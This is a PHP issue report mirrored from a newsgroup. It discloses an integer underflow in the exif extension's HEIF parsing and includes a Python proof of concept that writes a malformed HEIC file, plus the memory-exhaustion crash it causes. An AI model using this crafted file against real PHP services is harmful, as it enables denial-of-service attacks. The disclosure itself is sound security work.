[php-src] Issue #21042: Integer Underflow in HEIF EXIF Parsing Leading to DoS

[email protected] (CharminDoge)
Newsgroups php.bugs
Message-ID <OLYpp9TdXCZatChpWL5NH4uL2W34hL48fU4vCB7LhAI@main.internal.php.net>
Issue: https://github.com/php/php-src/issues/21042
Author: CharminDoge

### Description

There is an integer underflow in the `exif_scan_HEIF_header()` function in `ext/exif/exif.c` when parsing HEIF files. 
The code checks that `pos.size != 0` but does not verify `pos.size >= 2` before the subtraction, so when an iloc box specifies an item with `size=1`, the computation `pos.size - 2` underflows, 

The exif extension is required.

Reproducer: 
```py
#!/usr/bin/env python3
import struct


def create_box(box_type, content):
    size = 8 + len(content)
    return struct.pack(">I", size) + box_type + content


ftyp = create_box(b"ftyp", b"heic" + b"\x00\x00\x00\x00" + b"mif1")

iinf_content = struct.pack(">BBBB", 2, 0, 0, 0)
iinf_content += struct.pack(">I", 1)
infe_content = struct.pack(">BBBB", 2, 0, 0, 0)
infe_content += struct.pack(">H", 1)
infe_content += struct.pack(">H", 0)
infe_content += b"Exif"
infe = create_box(b"infe", infe_content)
iinf = create_box(b"iinf", iinf_content + infe)

iloc_content = struct.pack(">I", 0)
iloc_content += struct.pack(">BB", 0x44, 0x00)
iloc_content += struct.pack(">H", 1)
iloc_content += struct.pack(">H", 1)
iloc_content += struct.pack(">H", 0)
iloc_content += struct.pack(">I", 0)
iloc_content += struct.pack(">I", 0x20)
iloc_content += struct.pack(">I", 1) # size=1
iloc_content += b"\x00" * 20
iloc = create_box(b"iloc", iloc_content)

meta_content = struct.pack(">I", 0) + iinf + iloc
meta = create_box(b"meta", meta_content)

data = ftyp + meta

padding_needed = 33 - len(data)
if padding_needed > 0:
    data += b"\x00" * padding_needed

with open("poc_heif_underflow.heic", "wb") as f:
    f.write(data)
```

Result:
```
sapi/cli/php -r "exif_read_data('poc_heif_underflow.heic');"

Fatal error: Allowed memory size of 134217728 bytes exhausted at /home/chdoge/cve/php-src/ext/exif/exif.c:4461 (tried to allocate 4294967295 bytes) in Command line code on line 1
Stack trace:
#0 Command line code(1): exif_read_data('poc_heif_underf...')
#1 {main}
```

### PHP Version

```plain
PHP 8.5.1-dev (cli) (built: Jan 27 2026 00:08:38) (NTS DEBUG)
Copyright (c) The PHP Group
Zend Engine v4.5.1-dev, Copyright (c) Zend Technologies
    with Zend OPcache v8.5.1-dev, Copyright (c), by Zend Technologies
```

### Operating System

_No response_
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.